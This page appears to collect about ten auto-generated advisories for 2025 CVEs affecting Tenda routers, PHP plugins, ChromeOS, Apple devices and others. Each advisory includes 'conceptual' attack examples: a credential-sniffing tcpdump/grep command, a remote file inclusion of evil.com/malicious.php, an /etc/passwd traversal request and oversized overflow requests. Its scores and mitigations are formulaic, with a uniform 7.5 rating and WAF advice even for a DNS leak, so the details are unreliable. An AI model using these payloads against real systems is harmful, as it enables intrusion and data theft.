Author: Ameeba

Overview

This report discusses CVE-2025-28228, a significant cybersecurity vulnerability affecting the Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web and Display. This vulnerability exposes sensitive credentials in plaintext, paving the way for unauthorized access and potential system compromise. As a serious risk to data security, this vulnerability warrants immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-28228
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to credentials, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Electrolink 500W Medium DAB Transmitter Web | v01.09, v01.08, v01.07
Electrolink 1kW, 2kW Medium DAB Transmitter Web | v01.09, v01.08, v01.07
Electrolink Medium DAB Transmitter Display | v1.4, v1.2

How the Exploit Works

The vulnerability arises from inadequate security measures that result in credentials being stored and transmitted in plaintext. Consequently, an attacker can intercept network traffic to or from the affected devices and gain access to these credentials. This unauthorized access can lead to a system compromise or data leakage.

Conceptual Example Code

An example of exploiting this vulnerability might involve a simple packet sniffer tool to intercept the plaintext credentials. Conceptually, this might look something like:

# Run packet sniffer on network interface
sudo tcpdump -i eth0 -w output.pcap
# Analyze captured packets for plaintext credentials
grep -a -o -e 'username=[^&]*' -e 'password=[^&]*' output.pcap

This code is purely illustrative and oversimplified. In a real-world scenario, exploiting this vulnerability would likely involve more complex network traffic analysis and potentially additional steps to bypass other protective measures.

Mitigation Guidance

Users of affected products are advised to apply the vendor patch as soon as it’s available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help detect and block malicious traffic, although they cannot fully eliminate the vulnerability.

Overview

CVE-2025-25455 represents a severe vulnerability in Tenda AC10 V4.0si_V16.03.10.20, a popular router hardware. This vulnerability is a Buffer Overflow in the AdvSetMacMtuWan via wanMTU2, potentially leading to system compromise or data leakage. Given the widespread use of this device in both commercial and personal applications, this vulnerability poses a significant risk that demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-25455
Severity: High (CVSS score 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC10 | V4.0si_V16.03.10.20

How the Exploit Works

The exploit leverages a buffer overflow vulnerability in the AdvSetMacMtuWan module of the Tenda AC10 V4.0si_V16.03.10.20. By sending a crafted input that exceeds the buffer’s capacity via wanMTU2, an attacker can overflow the buffer, leading to the execution of arbitrary code or causing the system to crash. This exploit can be executed remotely, making it a significant threat to all affected devices.

Conceptual Example Code

Consider the following conceptual exploitation of this vulnerability, where an attacker sends an excessively large payload to the vulnerable endpoint:

POST /AdvSetMacMtuWan/wanMTU2 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "mtu_size": "OVERFLOW_PAYLOAD" }

This is not a literal payload but an illustrative example of how the buffer overflow vulnerability could be exploited. The exact malicious payload would likely be an oversized input designed to overflow the buffer and manipulate the system’s memory.

Mitigation Guidance

Affected users should apply the patch provided by the vendor as soon as possible. If a patch is not immediately available or applicable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These tools can help detect and block attempts to exploit this vulnerability.

Overview

The vulnerability CVE-2025-25454 is a serious cybersecurity threat affecting Tenda AC10 V4.0si_V16.03.10.20. It involves a Buffer Overflow in AdvSetMacMtuWan via wanSpeed2, potentially leading to system compromise or data leakage. Due to the high CVSS severity score, it is of utmost importance to address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-25454
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC10 | V4.0si_V16.03.10.20

How the Exploit Works

The exploit works by sending an overlong string to the AdvSetMacMtuWan via wanSpeed2 in Tenda AC10 V4.0si_V16.03.10.20. It causes a buffer overflow, which can allow an attacker to execute arbitrary code remotely. This could potentially lead to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:
“`http
POST /AdvSetMacMtuWan/vulnerability HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
“wanSpeed2”: “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Overview

The CVE-2025-31030 vulnerability is a critical flaw in the jbhovik Ray Enterprise Translation, a widely-used PHP-based platform. This issue stems from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), potentially leading to a PHP Local File Inclusion. Due to the severity of this issue, it can result in system compromise or data leakage, posing a significant threat to any institution using affected versions of the software.

Vulnerability Summary

CVE ID: CVE-2025-31030
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

jbhovik Ray Enterprise Translation | n/a through 1.7.0

How the Exploit Works

The exploit takes advantage of the improper control of filename for Include/Require Statement in the PHP program. An attacker can manipulate the PHP Remote File Inclusion to force the server to execute arbitrary PHP code from a remote server. This can lead to a PHP Local File Inclusion, enabling the attacker to load and execute local files on the server. This can lead to a full system compromise and potential data leakage.

Conceptual Example Code

Here is a conceptual example of an HTTP request exploiting this vulnerability:

POST /ray-enterprise-translation/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://evil.com/malicious.php" }

In this example, the malicious PHP file from a remote server (“evil.com”) is included and executed on the target server, exploiting the ‘PHP Remote File Inclusion’ vulnerability.

Mitigation

Users affected by this vulnerability are advised to apply the vendor’s patch as soon as possible. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help detect and prevent attempts to exploit this vulnerability, thereby enhancing the security of the system.

Overview

A significant vulnerability, CVE-2025-26968, has been discovered in the Cloak Front End Email, a product of webbernaut. This vulnerability primarily affects all versions up to and including 1.9.5 of the software. It is a Missing Authorization vulnerability that can potentially expose the system to unauthorized access and data leakage. Its severity and potential for exploitation necessitate immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-26968
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Cloak Front End Email | 1.9.5 and below

How the Exploit Works

The exploit takes advantage of the Missing Authorization vulnerability in Cloak Front End Email. An attacker could exploit this vulnerability by sending specially crafted requests to the affected software. Due to a flaw in Access Control Security Levels, these requests would be incorrectly authenticated, allowing the attacker to gain unauthorized access to the system or lead to potential data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability could be exploited is demonstrated below:

POST /unauthorized_access HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "exploit_code": "access_grant=true" }

In this example, a malicious user sends a POST request with a payload that manipulates the incorrect Access Control Security Levels and gains unauthorized access.

Mitigation

Users are advised to apply the latest patch provided by the vendor to address this vulnerability. Where this is not immediately possible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Regular review and update of system authorization configurations are also recommended to prevent such vulnerabilities.

Overview

This report covers the details of CVE-2025-25457, a severe buffer overflow vulnerability found in Tenda AC10 V4.0si_V16.03.10.20. The vulnerability affects users of this product and could potentially lead to system compromise or data leakage if exploited. The severity of the vulnerability and its wide potential impact make it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-25457
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda AC10 | V4.0si_V16.03.10.20

How the Exploit Works

The vulnerability resides in the AdvSetMacMtuWan function of the Tenda AC10 firmware. If manipulated, an attacker can induce a buffer overflow via cloneType2, which could allow arbitrary code execution or cause the system to crash. The attack can be initiated remotely over a network, without any user interaction, and requires only low-level privileges to execute.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /AdvSetMacMtuWan HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
cloneType2={ "malicious_payload": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."}

In the above example, the attacker sends an excessively long string in the “malicious_payload”, causing a buffer overflow in the AdvSetMacMtuWan function.
It’s recommended that all users apply the patch provided by the vendor as soon as possible or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure until the patch can be applied.

Overview

The cybersecurity community is currently addressing a notable vulnerability traced to the Klarna Checkout for WooCommerce WordPress plugin. Identified as CVE-2024-13925, this vulnerability could potentially compromise systems and leak sensitive data. It can be exploited by attackers to rapidly consume disk space and potentially fill the entire disk, thereby crippling affected systems.

Vulnerability Summary

CVE ID: CVE-2024-13925
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Klarna Checkout for WooCommerce WordPress Plugin | Versions prior to 2.13.5

How the Exploit Works

The vulnerability resides in an unauthenticated WooCommerce Ajax endpoint. This flaw allows an attacker to flood the log files with data at the maximum size allowed for a POST parameter per request. By doing so, an attacker can quickly consume all available disk space, effectively causing a denial of service (DoS) attack that could disrupt system functionality.

Conceptual Example Code

An attacker might exploit the vulnerability in the following conceptual manner:

POST /ajax_endpoint HTTP/1.1
Host: target.example.com
Content-Length: [maximum size]
{ "log_data": "[massive amount of unnecessary data]" }

By repeatedly sending such requests, an attacker can quickly fill up disk space, causing service disruption. To mitigate this vulnerability, users are advised to apply the latest patch provided by the vendor or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly monitoring system logs for any unusual activity can also help in identifying any potential exploit attempts.

Overview

This report explores the DNS Leak vulnerability, labeled as CVE-2025-1566, in Google ChromeOS’s Native System VPN. The vulnerability primarily affects users running the ChromeOS 129.0.6668.36 Dev Channel, and presents a significant security risk due to the potential for data leakage or system compromise.

Vulnerability Summary

CVE ID: CVE-2025-1566
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Expose plaintext DNS queries, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Google ChromeOS Dev Channel | 129.0.6668.36

How the Exploit Works

The vulnerability resides in the DNS handling during VPN state transitions in ChromeOS. Under certain conditions, the system fails to properly tunnel DNS traffic, causing DNS queries to leak in plaintext. This can be observed and exploited by network attackers to gain insights into user behavior and network structure, or to carry out more advanced attacks.

Conceptual Example Code

While a direct exploitation code is not applicable due to the nature of this vulnerability, an attacker might observe the network traffic like this:

tcpdump -i eth0 -n port 53

This command would monitor the network traffic on interface eth0, looking specifically for DNS traffic (port 53). By running such a command, an attacker could potentially identify leaked DNS queries from the vulnerable VPN system.

Mitigation

Users are advised to apply the vendor patch once available. As a temporary mitigation, users could employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and filter DNS traffic. Awareness of this vulnerability and its potential impact is crucial to maintaining system security until a permanent fix is implemented.

Overview

A critical directory traversal vulnerability has been identified in PHPGurukul’s Pre-School Enrollment System. This vulnerability, documented as CVE-2025-28072, allows an attacker to gain unauthorized access to sensitive files and directories, potentially leading to system compromise or data leakage. This vulnerability is significant as it impacts educational institutions that rely on this system for their operations.

Vulnerability Summary

CVE ID: CVE-2025-28072
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

PHPGurukul Pre-School Enrollment System | All versions prior to the patch

How the Exploit Works

An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing relative path sequences to the ‘manage-teachers.php’ endpoint. The application fails to validate these sequences, allowing the attacker to traverse directories, potentially gaining access to sensitive files and system data.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:

GET /manage-teachers.php?file=../../../etc/passwd HTTP/1.1
Host: vulnerable-school.com

In this example, the attacker is attempting to access the ‘/etc/passwd’ file, which contains user account information. The ‘../’ sequences allow the attacker to move up in the directory structure, potentially accessing unauthorized files.

Mitigation Guidance

In order to mitigate this vulnerability, it is recommended to apply the vendor-provided patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block or alert on any suspicious directory traversal attempts. Additionally, input validation controls should be implemented to ensure that file paths containing relative path sequences are properly sanitized.

Overview

This report discusses the critical vulnerability CVE-2025-31200, a memory corruption issue that affects Apple devices. This vulnerability is significant because it can potentially lead to system compromise or data leakage. It has also been reported that this vulnerability has been exploited in highly sophisticated attacks targeting specific individuals on iOS.

Vulnerability Summary

CVE ID: CVE-2025-31200
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

tvOS | 18.4.1
visionOS | 2.4.1
iOS | iOS 18.4.1
iPadOS | 18.4.1
macOS Sequoia | 15.4.1

How the Exploit Works

The exploit takes advantage of a memory corruption issue in the processing of an audio stream in a maliciously crafted media file. This can potentially lead to arbitrary code execution. The attacker needs to trick the target into processing the malicious media file, for instance, by embedding it into a webpage or sending it via email.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. Note that this is not actual exploit code, but a simplified representation to illustrate the attack.

GET /malicious_media_file.m4a HTTP/1.1
Host: attacker.example.com
User-Agent: VLC/3.0.8 LibVLC/3.0.8
Accept: */*
Referer: http://attacker.example.com/malicious_website.html

In the above example, the target plays the malicious media file hosted on the attacker’s server using a vulnerable version of an audio player. Once the file is processed, the exploit is triggered, leading to potential system compromise or data leakage.